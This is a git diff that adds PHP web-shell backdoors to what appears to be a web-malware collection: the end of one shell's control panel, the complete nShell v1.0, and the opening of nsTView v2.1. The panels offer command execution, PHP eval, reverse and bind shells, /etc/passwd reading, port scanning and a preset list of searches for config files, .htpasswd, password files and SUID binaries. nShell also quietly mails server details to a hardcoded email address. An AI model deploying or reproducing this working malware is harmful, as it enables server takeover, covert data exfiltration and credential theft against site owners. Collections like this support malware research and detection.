id="myfile" value="Load..." size="20" /> + <input type="submit" name="ok" value="do" /> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form action=# method=post> + <div align="center"><strong>:: Rename File :: </strong><br> + <input type="hidden" name="mode" value="renfile" /> + <input type="text" name="oldname" value="0ld name" size="15" /> + <input type="text" name="newname" value="New name" size="15" /> + <input name="submit" type="submit" value="Ren" /> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form action="#" method="post"> + <div align="center"><strong>:: Make Dir :: </strong><br> + <input type="hidden" name="mode" value="mkdir" /> + name + <input name="mkdir" type="text" size="18" /> + <input name="submit" type="submit" value="ok" /> + </div> + </form> </td> + </tr> + <tr> + <td style="border:#FFFFFF 1px solid;"><form action=# method=post> + <div align="center"><strong>:: Cmd Execution :: </strong><br> + <input type=hidden name=mode value=cmd> + <input name=cmd size="26" tpye=text> + <input name="submit" type=submit value=exec> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form action="#" method="post"> + <div align="center"><strong>:: BackConn :: </strong><br> + <input type=hidden name=mode value=reverse /> + <input name="ip" type="text" value="<?=$_SERVER['REMOTE_ADDR']?>" size="26" /> + <input name="port" type="text" value="port..." size="10" /> + <input name="submit" type="submit" value="BackConn" /> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form action=# method="post"> + <div align="center"><strong>:: Bind Port :: </strong><br> + <input type="hidden" name="mode" value="bind" /> + <input name="submit7" type=submit value="Bind port 31337" /> + </div> + </form> </td> + </tr> + <tr> + <td style="border:#FFFFFF 1px solid;"><form action="#" method="post" name="sqlpanel" id="sqlpanel"> + <div align="center"><strong>:: MySQL Panel :: </strong><br> + <input type=hidden name=mode value=loginsql /> + <input name="user" type="text" value="<?=(isset($_COOKIE[mysql_user]))?$_COOKIE[mysql_user]:"user"?>" size="9" /> + <input type="text" size="10" name="pass" value="<?=(isset($_COOKIE[mysql_pass]))?$_COOKIE[mysql_pass]:"pass"?>" /> + <input type="text" name="host" size="10" value="<?=(isset($_COOKIE[mysql_host]))?$_COOKIE[mysql_host]:"host"?>" /> + <input name="dbname" type="text" value="<?=(isset($_COOKIE[mysql_name]))?$_COOKIE[mysql_name]:"database"?>" size="10" /> + <input name="submit" type="submit" value="MySQL" /> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form method="post" action="#"> + <div align="center"><strong>:: PHP Execution :: </strong><br> + <input type="hidden" value="eval" name="mode" /> + <input name="eval" type="text" size="30" /> + <input type="submit" value="Eval" /> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form action=# method=post name="folder" id="folder"> + <div align="center"><strong>:: Go Dir ::</strong> <br> + <input type=hidden name='mode' value='ls'> + <input type=text value='<?=$dir?>' name='dir'> + <input type=submit value=change/list> + </div> + </form></td> + </tr> + <tr> + <td style="border:#FFFFFF 1px solid;"><div align="center"> + <form method="post" action="#"> + <strong>:: Proxy ::</strong> <br> + <input name="mode" type="hidden" id="mode" value="proxysurf" /> + url: <input name="url" type="text" size="30" /> + <input type="submit" value="surf" /> + <input name="curl" type="checkbox" id="curl" value="curl" /> curl + <input name="fopen" type="checkbox" id="fopen" value="fopen" /> fopen<br /> + + </form></div> + </td> + <td style="border:#FFFFFF 1px solid;"><form method="post" action="#"> + <div align="center"><strong>:: File Change Mode:: </strong><br> + <input type="hidden" value="chmod" name="mode" /> + <input name="filename" type="text" id="filename" value="file" size="15" /> + <input name="filemode" type="text" id="filemode" value="mode" size="15" /> + <input type="submit" value="Chmod" /> + </div> + </form> </td> + <td style="border:#FFFFFF 1px solid;"><form method="post" action="#"> + <div align="center"><strong>:: Port Scan :: </strong><br> + <input type="hidden" value="scan" name="mode" /> + <input name="host" type="text" id="host" value="host" size="15" /> + <input name="minport" type="text" value="max port" size="10" /> + <input name="maxport" type="text" id="maxport" value="max port" size="10" /> + <input type="submit" value="scan" /> + </div> + </form> </td> + </tr> +</table> + <form action=# name=tools method=post> + <span class="Stile1"> + <input type=hidden name=mode value=tools /> + <input type=hidden name=nometool /> + </span> + </form> + <span class="Stile1"> + <div align="center"><a class="link" href="javascript:document.folder.dir.value='<?=addslashes(realpath("."))?>';document.folder.submit();">Home</a> - <a class="link" href="javascript:document.tools.nometool.value='passwd';document.tools.submit();">Cat /etc/passwd</a> - <a class="link" href="javascript:document.tools.nometool.value='encoder';document.tools.submit();">Encoder</a> - <a class="link" href="javascript:document.tools.mode.value='phpinfo';document.tools.submit();">PHPInfo</a> - <a class="link" href="javascript:document.tools.nometool.value='scanner';document.tools.submit();">ShellScan</a> - <a class="link" href="javascript:document.tools.nometool.value='proxy';document.tools.submit();">Proxy</a> </div> + <br> + Directory:</span> + <? $pd = $e = explode(DIRECTORY_SEPARATOR,substr($dir,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a class=\"link\" href=\"javascript:document.folder.dir.value='".urlencode(addslashes($t))."';document.folder.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +?><br> + <br> + <?=$error?><?=$output?> </td> + </tr> +</table> +</body> + +</html> +<? die(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/nshell.txt b/web-malware-collection-master/Backdoors/PHP/nshell.txt new file mode 100755 index 0000000..c5be33a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/nshell.txt @@ -0,0 +1,371 @@ +?�?<head> +<title> nShell v1.0</title> +<style> +html { overflow-x: auto } +A: {font-weight:bold}; +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #444444; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +table { +BORDER-RIGHT: :#444444 1px outset; +BORDER-TOP: :#444444 1px outset; +BORDER-LEFT: :#444444 1px outset; +BORDER-BOTTOM: :#444444 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: :#444444 1px solid; +BORDER-LEFT: :#444444 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +div,td,table { +font-family:Georgia; +} +</style> +</head> +<body bgcolor=":#444444"> +<center> +<?php +error_reporting(0); +$function=passthru; // system, exec, cmd +$myname=$_SERVER['SCRIPT_NAME']; +echo "<b><font color=\"#000000\" size=\"3\" face=\"Georgia\"> System information: :</font><br>"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +?> +<table width="80%" border="0"> +<td colspan="3" align="center"> +<?php +function ex($comd) +{ + $res = ''; +if(function_exists("system")) + { + ob_start(); + system($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(function_exists("passthru")) + { + ob_start(); + passthru($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(function_exists("exec")) + { + exec($comd,$res); + $res=implode("\n",$res); + }elseif(function_exists("shell_exec")) + { + $res=shell_exec($comd); + }elseif(is_resource($f=popen($comd,"r"))){ + $res = ""; + while(!feof($f)) { $res.=fread($f,1024); } + pclose($f); + } + return $res; +} + +// safe mod +$safe_mode=@ini_get('safe_mode'); +echo (($safe_mode)?("<div>Safe_mode: <b><font color=green>ON</font></b>"):("Safe_mode: <b><font color=red>OFF</font></b>")); +echo " "; +// phpversion +echo "Php version<font color=\"green\"> : ".@phpversion()."</font>"; +echo " "; +// curl +$curl_on = @function_exists('curl_version'); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo " "; +// mysql +echo "MYSQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo " "; +// msssql +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo " "; +// PostgreSQL +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo " "; +// Oracle +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>"; +echo " "; +// Disable function +echo "Disable functions : <b>"; +$df=@ini_get('disable_functions'); +if(!$df){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +echo " "; +//==============xac dinh os================== +$servsoft = $_SERVER['SERVER_SOFTWARE']; +if (ereg("Win32", $servsoft)){ +$sertype = "win"; +} +else +{ +$sertype = "nix"; +} +//========================================= + +$uname=ex('uname -a'); + echo "<br>OS: </b><font color=blue>"; + if (empty($uname)){ + echo (php_uname()."</font><br><b>"); + }else + echo $uname."</font><br><b>"; + $id = ex('id'); + $server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; + echo "SERVER: </b><font color=blue>".$server."</font><br><b>"; + echo "id: </b><font color=blue>"; + if (!empty($id)){ + echo $id."</font><br><b>"; + }else + echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). + "</font><br><b>"; +echo "<font color=\"black\"><a href=".$_SERVER['PHP_SELF']."?act=info target=_blank>Php Info</a></font><br></div>"; + +?> +</td><tr> +<td width="20%" align="center"><a href="<?=$myname?>?act=manager"> File Manager</a></td> +<td width="20%" align="center"><a href="<?=$myname?>?act=sql">Sql Query</a></td> +<td width="20%" align="center"><a href="<?=$myname?>?act=eval">Eval()</a></td><tr> +<td colspan="3" > +<?php +$act=@$_GET['act']; +if($act=="info"){ +echo "<center><font color=red size=10> Php Version :".phpversion()."</font>"; +phpinfo(); +echo "</center>"; +} +?> +<?php +//========================================================= +function perms($mode) +{ +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +//===================Delect File============================= +$del=$_GET['del']; +function delfile($name) +{ + passthru("del ".$name); +} +function deldir($name) +{ + passthru("rmdir ".$name); +} +if($del) +{ + if(is_file($del)) delfile($del); else deldir($del); +} +//==================Quan li thu muc ========================== +if($act=="manager"){ +$arr = array(); +$arr = array_merge($arr, glob("*")); +$arr = array_merge($arr, glob(".*")); +$arr = array_merge($arr, glob("*.*")); +$arr = array_unique($arr); +sort($arr); +echo "<table width=100%><tr><td align=center><b>Name</td><td align=center><b>Type</td><td align=center><b>Size</td><td align=center><b>Perms</td><td align=center>Delete</td></tr>"; +foreach ($arr as $filename) { +if ($filename != "." and $filename != ".."){ +if (is_dir($filename) == true){ +$directory = ""; +$dc=str_replace("\\","",dirname($_SERVER['PHP_SELF'])); +$directory = $directory . "<tr><td align=center>$filename</td><td align=center>" .ucwords(filetype($filename)) . "</td><td></td><td align=center>" . perms(fileperms($filename))."<td align=center><a href=".$_SERVER['PHP_SELF']."?act=manager&del=".$dc.">Del</td>"; +$dires = $dires . $directory; +} +if (is_file($filename) == true){ +$file = ""; +$link=str_replace(basename($_SERVER['REDIRECT_URL']),$filename,$_SERVER['REDIRECT_URL']); +$file = $file . "<tr><td><a href=".$link ." target=_blank>$filename</a></td><td>" .ucwords(filetype($filename)). "</td><td>" . filesize($filename) . "</td><td>" . perms(fileperms($filename))."<td><a href=".$_SERVER['PHP_SELF']."?act=manager&del=".$filename.">Del <a href=".$_SERVER['PHP_SELF']."?act=manager&file=".$filename.">Edit</a></td>"; +$files = $files . $file; +} +} +} +echo $dires; +echo $files; +echo "</table><br>"; +} +// view file ex: /etc/passwd +if(isset($_REQUEST['file'])) + { +$file=@$_REQUEST["file"]; +echo "<b>File :</b><font color=red> ". $file."</font>"; +$fp=fopen($file,"r+") or die("Ban khong co quyen de ghi vao File nay , hoac do khong tim thay File"); +$src=@fread($fp,filesize($file)); +echo "<center><hr color=777777 width=100% height=115px><form action=".$_SERVER['REQUEST_URI']." method=post><TEXTAREA NAME=\"addtxt\" ROWS=\"5\" COLS=\"80\">".htmlspecialchars(stripslashes($src))."</TEXTAREA><br><input type=submit value=Save></form><hr color=777777 width=100% height=115px>"; +$addtxt=@$_POST["addtxt"]; + rewind($fp); + if($addtxt=="") @fwrite($fp,stripslashes($src)); else $rs=@fwrite($fp,stripslashes($addtxt)); + if($rs==true) + { + echo "Noi dung cua file nay da duoc sua doi !<a href=".$_SERVER['REQUEST_URI'].">Xem lai</a>"; + } + ftruncate($fp,ftell($fp)); +echo "</center>"; + } + +?> + +<?php +// function +function exe_u($query) +{ +echo "<B><font color=green>Query # ".$query."</font></b><br>"; +$result=@mysql_query($query) or die("Khong update du lieu duoc !"); +if(mysql_affected_rows($result)>=0) echo "Affected rows : ".mysql_affected_rows($result)."This is Ok ! ^.^<br>"; +} +function exe_c($query) +{ +echo "<B><font color=green>Query # ".$query."</font></b><br>"; +$result=@mysql_query($query) or die("Khong Create duoc !"); +echo "This is Ok ! ^.^<br>" ; +} +function exe_d($query) +{ +echo "<B><font color=green>Query # ".$query."</font></b><br>"; +$result=@mysql_query($query) or die("Khong Drop duoc !"); +echo "This is Ok ! ^.^<br>" ; +} +function exe_w($query) +{ +echo "<b><font color=green>Query # ".$query."</font></b><br>"; +$result=@mysql_query($query) or die("Khong the show gi duoc het !"); +if(eregi("fields",$query)) { +while($row=@mysql_fetch_array($result,MYSQL_ASSOC)){ +echo "<b><font color=red>".$row['Field']." :</font></ b> ".$row['Type']; +echo "<br>"; +} +} else { +while($row=@mysql_fetch_array($result,MYSQL_ASSOC)){ + while(list($key,$value)=each($row)) +{ + echo "<font color=red><b>".$value."</b><font>"; +} +echo "<br>"; +} +} +} +function exe_s($query) +{ +$arrstr=@array();$i=0; +$arrstr=explode(" ",$query); +$find_field=@mysql_query("show fiedls from ".$arrstr['4']); +while($find_row=@mysql_fetch_array($find_field,MYSQL_ASSOC)){ +$i++; +$arrstr[$i]=$find_row['Field']; +} +echo "<B><font color=green>Query # ".$query."</font></b><br>"; +$result=@mysql_query($query) or die("Khong the select gi duoc het !"); +$row=@mysql_num_rows($result); +} +function sql($string) +{ +$arr=@array(); +$arr=explode(";",$string); +for($i=0;$i<=count($arr);$i++) + { + $check_u=eregi("update",@$arr[$i]); if($check_u==true) exe_u(@$arr[$i]); + $check_e=eregi("use",@$arr[$i]); if($check_u==true) exe_u(@$arr[$i]); + $check_c=eregi("create",@$arr[$i]); if($check_c==true) exe_c(@$arr[$i]); + $check_d=eregi("drop",@$arr[$i]); if($check_d==true) exe_d(@$arr[$i]); + $check_w=eregi("show",@$arr[$i]); if($check_w==true) exe_w(@$arr[$i]); + $check_s=eregi("select",@$arr[$i]); if($check_s==true) exe_s(@$arr[$i]); + } +} +//=====xong phan function cho sql +// Sql query +if($act=="sql") +{ + if(isset($_GET['srname'])&&isset($_GET['pass'])) + { + echo $_GET['srname']; +if(!isset($_GET['srname'])) $servername=$_GET['srname']; + else $servername="localhost"; +$con=@mysql_connect($servername,$_GET['uname'],$_GET['pass']) or die("Khong the connect duoc !"); +$form2="<center><form method=post action=".$_SERVER['PHP_SELF']."><TEXTAREA NAME=\"str\" ROWS=\"2\" COLS=\"60\"></TEXTAREA><br><input type=submit name=s2 value=query></form></center>"; +echo $form2; +$str=@$_POST['str']; +if(isset($str)) sql($str); + } + else { + echo "chao"; + $form1="<center><form method=GET action='".$_SERVER['PHP_SELF']."'><table width=100% boder=0><td width=100%> User Name : <input type=text name=uname size=20> Server Name :<input name=srname type=text size=22></td><tr><td width=100%> Password :<input type=text name=pass size=20> Port : <input type=text name=port size=20><input type=submit value=login></form></td></form></table><hr color=777777 width=100% height=115px>"; + echo $form1; + } +} +?> + +<?php +if($act=="eval"){ +$script=$_POST['script']; +if(!$script){ +echo "<hr color=777777 width=100% height=115px><form action=".$_SERVER['']." method=post><TEXTAREA NAME=\"\" ROWS=\"5\" COLS=\"60\"></TEXTAREA><input type=submit value=Enter></form><hr color=777777 width=100% height=115px>"; +}else{ +eval($script); +} +} +?> +</td> +</table> + +<font face=Webdings size=6><b>!</b></font><b><font color=\"#000000\" size=\"3\" face=\"Georgia\">nShell v1.0. Code by Navaro.</font><br><b><font color="#000000" face="Georgia">Have Fun ! {^.^} { ~.~} </font></b> +</center> +</body> + + + diff --git a/web-malware-collection-master/Backdoors/PHP/nst.txt b/web-malware-collection-master/Backdoors/PHP/nst.txt new file mode 100755 index 0000000..d6aabd2 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/nst.txt @@ -0,0 +1,2138 @@ +<? +@session_start(); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +error_reporting(E_ALL & ~E_NOTICE); +#####cfg##### +# use password true / false # +$create_password = true; +$password = "nst"; // default password for nstview, you can change it. + +# UNIX COMMANDS +# description (nst) command +# example: Shutdown (nst) shutdown -h now +$fast_commands = " +Show open ports (nst) netstat -an | grep LISTEN | grep tcp +last root (nst) last root +last (all users) (nst) last all +Find all config.php in / (nst) find / -type f -name config.php +Find all config.php in . (nst) find . -type f -name config.php +Find all admin.php in / (nst) find / -type f -name admin.php +Find all admin.php in . (nst) find . -type f -name admin.php +Find all config.inc.php in / (nst) find / -type f -name config.inc.php +Find all config.inc.php in . (nst) find . -type f -name config.inc.php +Find all config.inc in / (nst) find / -type f -name config.inc +Find all config.inc in . (nst) find . -type f -name config.inc +Find all config.dat in / (nst) find / -type f -name config.dat +Find all config.dat in . (nst) find . -type f -name config.dat +Find all config* in / (nst) find / -type f -name config* +Find all config* in . (nst) find . -type f -name config* +Find all pass* in / (nst) find / -type f -name pass* +Find all pass* in . (nst) find . -type f -name pass* +Find all .bash_history in / (nst) find / -type f -name .bash_history +Find all .bash_history in . (nst) find . -type f -name .bash_history +Find all .htpasswd in / (nst) find / -type f -name .htpasswd +Find all .htpasswd in . (nst) find . -type f -name .htpasswd +Find all writable dirs/files in / (nst) find / -perm -2 -ls +Find all writable dirs/files in . (nst) find . -perm -2 -ls +Find all suid files in / (nst) find / -type f -perm -04000 -ls +Find all suid files in . (nst) find . -type f -perm -04000 -ls +Find all sgid files in / (nst) find / -type f -perm -02000 -ls +Find all sgid files in . (nst) find . -type f -perm -02000 -ls +Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc +Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc +OS Version? (nst) sysctl -a | grep version +Kernel version? (nst) cat /proc/version +cat syslog.conf (nst) cat /etc/syslog.conf +Cat - Message of the day (nst) cat /etc/motd +Cat hosts (nst) cat /etc/hosts +Distrib name (nst) cat /etc/issue.net +Distrib name (2) (nst) cat /etc/*-realise +Display all process - wide output (nst) ps auxw +Display all your process (nst) ps ux +Interfaces (nst) ifconfig +CPU? (nst) cat /proc/cpuinfo +RAM (nst) free -m +HDD space (nst) df -h +List of Attributes (nst) lsattr -a +Mount options (nst) cat /etc/fstab +Is cURL installed? (nst) which curl +Is wGET installed? (nst) which wget +Is lynx installed? (nst) which lynx +Is links installed? (nst) which links +Is fetch installed? (nst) which fetch +Is GET installed? (nst) which GET +Is perl installed? (nst) which perl +Where is apache (nst) whereis apache +Where is perl (nst) whereis perl +locate proftpd.conf (nst) locate proftpd.conf +locate httpd.conf (nst) locate httpd.conf +locate my.conf (nst) locate my.conf +locate psybnc.conf (nst) locate psybnc.conf +"; + + + +# WINDOWS COMMANDS +# description (nst) command +# example: Delete autoexec.bat (nst) del c:\autoexec.bat +$fast_commands_win = " +OS Version (nst) ver +Tasklist (nst) tasklist +Attributes in . (nst) attrib +Show open ports (nst) netstat -an +"; + + + + + +######ver#### +$ver= "v2.1"; +############# +$pass=$_POST['pass']; +if($pass==$password){ +$_SESSION['nst']="$pass"; +} +if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"]; +else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; +else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"]; +else $ip = $_SERVER['REMOTE_ADDR']; +$ip=htmlspecialchars($ip); + +if($create_password==true){ + +if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){ +die(" +<title>nsTView - Edited By KingDefacer</title> +<center> +<table width=100 bgcolor=#D7FFA8 border=1 bordercolor=black><tr><td> +<font size=1 face=verdana><center> +<b>nsTView $ver :: <a href=http://alturks.com style='text-decoration:none;'><font color=black>alturks.com</font></a><br></b> +</center> +<form method=post> +Password:<br> +<input type=password name=pass size=30 tabindex=1> +</form> +<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br> +<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br> +<b>Your ip:</b> ".$ip." +</td></tr></table> +");} + +} +$d=$_GET['d']; + +function adds($editf){ +#if(get_magic_quotes_gpc()==0){ +$editf=addslashes($editf); +#} +return $editf; +} +function adds2($editf){ +if(get_magic_quotes_gpc()==0){ +$editf=addslashes($editf); +} +return $editf; +} + +$f = "nst_sql.txt"; +$f_d = $_GET['f_d']; + +if($_GET['download']){ +$download=$_GET['download']; +header("Content-disposition: attachment; filename=\"$download\";"); +readfile("$d/$download"); +exit;} + +if($_GET['dump_download']){ +header("Content-disposition: attachment; filename=\"$f\";"); +header("Content-length: ".filesize($f_d."/".$f)); +header("Expires: 0"); +readfile($f_d."/".$f); +if(is_writable($f_d."/".$f)){ +unlink($f_d."/".$f); +} +die; +} + + +$images=array(".gif",".jpg",".png",".bmp",".jpeg"); +$whereme=getcwd(); +@$d=@$_GET['d']; +$copyr = "<center><a href=http://alturks.com target=_blank>nsTView $ver<br>o... Network security team ...o</a>"; +$php_self=@$_SERVER['PHP_SELF']; +if(@eregi("/",$whereme)){$os="unix";}else{$os="win";} +if(!isset($d)){$d=$whereme;} +$d=str_replace("\\","/",$d); +if(@$_GET['p']=="info"){ +@phpinfo(); +exit;} +if(@$_GET['img']=="1"){ +@$e=$_GET['e']; +header("Content-type: image/gif"); +readfile("$d/$e"); +} +if(@$_GET['getdb']=="1"){ +header('Content-type: application/plain-text'); +header('Content-Disposition: attachment; filename=nst-mysql-damp.htm'); +} +print "<title>nsT View $ver</title> +<style> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +SCROLLBAR-FACE-COLOR: #363d4e; +SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; +SCROLLBAR-SHADOW-COLOR: #363d4e; +SCROLLBAR-ARROW-COLOR: #363d4e; +SCROLLBAR-TRACK-COLOR: #91AAFF +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:link { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:hover { +COLOR: #FF0C0B; +TEXT-DECORATION: none +} +A:active { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:visited { +TEXT-DECORATION: none +} +</style> +<script> +function ShowOrHide(d1, d2) { +if (d1 != '') DoDiv(d1); +if (d2 != '') DoDiv(d2);} + +function DoDiv(id) { +var item = null; +if (document.getElementById) { +item = document.getElementById(id); +} else if (document.all){ +item = document.all[id]; +} else if (document.layers){ +item = document.layers[id];} +if (!item) {} +else if (item.style) { +if (item.style.display == \"none\"){ item.style.display = \"\"; } +else {item.style.display = \"none\"; } +}else{ item.visibility = \"show\"; }} + +function cwd(text){ +document.sh311Form.sh3.value+=\" \"+ text; +document.sh311Form.sh3.focus(); +} + + +</script> +"; +print "<body vlink=#0006DE> +<table width=600 border=0 cellpadding=0 cellspacing=1 bgcolor=#D7FFA8 align=center> +<tr><td><font face=wingdings size=2>0</font>"; +$expl=explode("/",$d); +$coun=count($expl); +if($os=="unix"){echo "<a href='$php_self?d=/'>/</a>";} +else{ + echo "<a href='$php_self?d=$expl[0]'>$expl[0]/</a>";} +for($i=1; $i<$coun; $i++){ + @$xx.=$expl[$i]."/"; +$sls="<a href='$php_self?d=$expl[0]/$xx'>$expl[$i]</a>/"; +$sls=str_replace("//","/",$sls); +$sls=str_replace("/'></a>/","/'></a>",$sls); +print $sls; +} +if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";} +if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";} +echo "</td></tr>"; +if($os=="unix"){ echo " +<tr><td><b>id:</b> ".@exec('id')."</td></tr> +<tr><td><b>uname -a:</b> ".@exec('uname -a')."</td></tr>";} echo" +<tr><td><b>Your IP: [<font color=#5F3CC1>$ip</font>] Server IP: [<font color=#5F3CC1>".gethostbyname($_SERVER["HTTP_HOST"])."</font>] Server <a href=# title='Host.Domain'>H.D.</a>: [<font color=#5F3CC1>".$_SERVER["HTTP_HOST"]."</font>]</b><br> +[<b>Safe mode:</b> $safe_m] [<b>Register globals:</b> $reg_g]<br> +[<a href=# onClick=location.href=\"javascript:history.back(-1)\">Back</a>] +[<a href='$php_self'>Home</a>] +[<a href='$php_self?d=$d&sh311=1'>Shell (1)</a> <a href='$php_self?d=$d&sh311=2'>(2)</a>] +[<a href='$php_self?d=$d&t=upload'>Upload</a>] +[<a href='$php_self?t=tools'>Tools</a>] +[<a href='$php_self?p=info'>PHPinfo</a>] +[<a href='$php_self?delfolder=$d&d=$d&delfl=1&rback=$d' title='$d'>DEL Folder</a>] +[<a href='$php_self?p=sql'>SQL</a>] +[<a href='$php_self?p=selfremover'>Self Remover</a>] +</td></tr> +"; +if($os=="win"){ echo " +<tr><td bgcolor=white> +<center><font face=wingdings size=2><</font> +<a href='$php_self?d=a:/'>A</a> +<a href='$php_self?d=b:/'>B</a> +<a href='$php_self?d=c:/'>C</a> +<a href='$php_self?d=d:/'>D</a> +<a href='$php_self?d=e:/'>E</a> +<a href='$php_self?d=f:/'>F</a> +<a href='$php_self?d=g:/'>G</a> +<a href='$php_self?d=h:/'>H</a> +<a href='$php_self?d=i:/'>I</a> +<a href='$php_self?d=j:/'>J</a> +<a href='$php_self?d=k:/'>K</a> +<a href='$php_self?d=l:/'>L</a> +<a href='$php_self?d=m:/'>M</a> +<a href='$php_self?d=n:/'>N</a> +<a href='$php_self?d=o:/'>O</a> +<a href='$php_self?d=p:/'>P</a> +<a href='$php_self?d=q:/'>Q</a> +<a href='$php_self?d=r:/'>R</a> +<a href='$php_self?d=s:/'>S</a> +<a href='$php_self?d=t:/'>T</a> +<a href='$php_self?d=u:/'>U</a> +<a href='$php_self?d=v:/'>V</a> +<a href='$php_self?d=w:/'>W</a> +<a href='$php_self?d=x:/'>X</a> +<a href='$php_self?d=y:/'>Y</a> +<a href='$php_self?d=z:/'>Z</a> +</td></tr>";}else{echo "<tr><td>&nbsp;</td></tr>";} +print "<tr><td> +:: <a href='$php_self?d=$d&mkdir=1'>Create folder</a> :: +<a href='$php_self?d=$d&mkfile=1'>Create file</a> :: +<a href='$php_self?d=$d&read_file_safe_mode=1'>Read file if safe mode is On</a> ::"; +if($os=="unix"){ +print "<a href='$php_self?d=$d&ps_table=1'>PS table</a> ::"; +} +print "</td></tr>"; + + + + + +if($_GET['p']=="ftp"){ +print "<tr><td>"; + + + +print "</td></tr></table>"; +print $copyr; +exit; +} + + + + + + + + + + 